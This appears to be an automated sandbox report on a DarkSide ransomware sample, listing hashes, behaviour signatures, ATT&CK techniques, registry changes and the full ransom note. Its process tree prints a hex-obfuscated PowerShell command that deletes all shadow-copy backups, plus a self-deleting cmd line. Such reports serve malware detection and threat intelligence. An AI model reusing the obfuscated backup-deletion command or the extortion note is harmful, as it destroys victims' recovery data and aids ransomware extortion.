darkside | 0f808fd3ecf9d722aafeee46b57aad4d07f39c98be6f6148be979ed470cf0a99

Resubmissions

27-01-2024 19:37

240127-yb5pksafd3 10

27-01-2024 19:36

240127-ybqwesafc2 10

12-05-2021 15:56

210512-db4t7vmwas 10

Analysis

max time kernel
119s
max time network
124s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
27-01-2024 19:37

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Report Analysis Logs

General

Target

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Size

59KB
MD5

f9fc1a1a95d5723c140c2a8effc93722
SHA1

ce2480dec2ee0a47549fad355c3cf154f9aab836
SHA256

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa
SHA512

3816029ac654cfc546e78c5f331ad61ef21ebab0e92bacdba5a5d2cd9149002930cf46c9a1dab357697540849229d2fc0a490433aa95713d36685334ce8e8b11
SSDEEP

768:9jjV7Iax7F3DS4/S9F+YeYf+tB1tJq5c2yGHMwY23W5:vx7Fu4/iF5eTtJq1sLZ5

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.47246f95.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/DZYNTXY9RP5P8DQ96EFKV2YTOVAMA3VVHL5V0RASUBLBWZGLG51U4LOOBSHV9R0Y When you open our website, put the following data in the input form: Key: k1xICnEwA8i4Exaf4zIjmEWUAK2JUsPppp7hmFIkcNOrmtfztXYRZSKEorEsHiVAg8gIcnQe7gLRyHyJg5knONhaC09HlFh6pr8Ze6Q8hGhKCm2s2OSBStASleEhgnzUaPkJzRNcaENVKONFOZjCg10YHEjNrfuE8JawoVmpQrws6XsdgiXD2E0D1VwxTCAMsDjMY7tpNOgBqY8NWoFYIWhkEoCDjp52OTKNCZfBSR3uinUDqXkUMApbz6JQ00VdTlJqjBH4QS7o73lU2Vtbr7CkQR9q5nXYLlgMKZUNiH4p0dWISOfEHmJWaWIeK1xkMIqqeao5CMf9enqc3xAG4zfW3iaUEQBwS0cDkv2aQCPFHARd71L9sZAtjcedVolkwYUqnBA9HiZRzoX7CmyX1D99XvN4HCzUmSYm0Nzr3goQSB1obYAKoKomDRTtZpLnTblmRkQoYj4dOJFiiXEdA7OswuJUeavsdO8v2XFzweyVNRNLcFy0v6OtQtRxklvgLBy4zztKaiNz7WUBzS2J5HlC7gwpnLclBloh07Bz0AI0clGIWLZf6kb !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/DZYNTXY9RP5P8DQ96EFKV2YTOVAMA3VVHL5V0RASUBLBWZGLG51U4LOOBSHV9R0Y

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (160) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

3164 cmd.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
3164	cmd.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\47246f95.BMP"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\47246f95.BMP"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

pid process

2728 43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\WallpaperStyle = "10"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Modifies registry class 5 IoCs

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.47246f95	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.47246f95\ = "47246f95"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\47246f95\DefaultIcon	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\47246f95	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\47246f95\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\47246f95.ico"	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

pid	process
2412	powershell.exe
2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeSecurityPrivilege	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeTakeOwnershipPrivilege	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeLoadDriverPrivilege	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeSystemProfilePrivilege	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeSystemtimePrivilege	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeProfSingleProcessPrivilege	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeIncBasePriorityPrivilege	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeCreatePagefilePrivilege	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeBackupPrivilege	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeRestorePrivilege	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeShutdownPrivilege	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeDebugPrivilege	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeSystemEnvironmentPrivilege	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeRemoteShutdownPrivilege	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeUndockPrivilege	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeManageVolumePrivilege	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: 33	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: 34	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: 35	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Token: SeDebugPrivilege	2412	powershell.exe
Token: SeBackupPrivilege	2908	vssvc.exe
Token: SeRestorePrivilege	2908	vssvc.exe
Token: SeAuditPrivilege	2908	vssvc.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe

description	pid	process	target process
PID 2728 wrote to memory of 2412	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	powershell.exe
PID 2728 wrote to memory of 2412	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	powershell.exe
PID 2728 wrote to memory of 2412	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	powershell.exe
PID 2728 wrote to memory of 2412	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	powershell.exe
PID 2728 wrote to memory of 3164	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	cmd.exe
PID 2728 wrote to memory of 3164	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	cmd.exe
PID 2728 wrote to memory of 3164	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	cmd.exe
PID 2728 wrote to memory of 3164	2728	43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe	cmd.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
"C:\Users\Admin\AppData\Local\Temp\43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe"
1⤵
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2728

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2412

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\43E615~1.EXE >> NUL
2⤵
- Deletes itself
PID:3164

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2908

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Defacement

T1491

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
a7f97421adae28273796a07df33787f5

SHA1
90aeba6396738bc960d4bd20f778623143b7a6fa

SHA256
939bd59817ca7c744a77b5ccaaac7f15e17f0ad9388739132279bc5fe165633d

SHA512
2a3843c981590b61eac32696bec7f74cff6c396d87111fe25ac26ad9050700e6a7d0ae5811fb996316a310f713fc1592fe7140c5d3d0010cfe6fb98baf2ca8c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab6E7E.tmp
Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarE075.tmp
Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
05befc0a71ef7fb8279c27d20762213c

SHA1
cc0db3ea05532ca0916d013fa93c3d7f2738ee43

SHA256
9c08186a68b0f4e5a8f85f14dbccf85604e34f5aefd96a24b2c30fc6f320aa38

SHA512
bb32bbee2a88471a51ac787cf25734a858b178d7fb87a9f21cfc79969c0df369e1b556281f726913fc1e80c4555b4e035cbe6b48e68691ab784ab084980e0777

Download Submit
C:\Users\Admin\README.47246f95.TXT
Filesize
1KB

MD5
d44e068928d003585860dca45293232b

SHA1
41bfb9e51439dca5804190975a167c9331693e11

SHA256
2dd8909ca698759ad05159f61804e043ab5a59849111f6224eb010864fb40948

SHA512
6d84ec871bae2de0eba22cfdbdfbbdeadfa3f80c5dc0eba5ec8916f2be2b07ded82e87807fe2ffd35bd5e60102b6a39c7d61d7bc7fb4dde409989e0eef70c91d

Download Submit
memory/2412-21-0x000007FEF4B50000-0x000007FEF54ED000-memory.dmp

Filesize
9.6MB

Download
memory/2412-22-0x0000000002A90000-0x0000000002B10000-memory.dmp

Filesize
512KB

Download
memory/2412-23-0x000000001B360000-0x000000001B642000-memory.dmp

Filesize
2.9MB

Download
memory/2412-25-0x00000000023E0000-0x00000000023E8000-memory.dmp

Filesize
32KB

Download
memory/2412-24-0x0000000002A90000-0x0000000002B10000-memory.dmp

Filesize
512KB

Download
memory/2412-26-0x0000000002A90000-0x0000000002B10000-memory.dmp

Filesize
512KB

Download
memory/2412-27-0x000007FEF4B50000-0x000007FEF54ED000-memory.dmp

Filesize
9.6MB

Download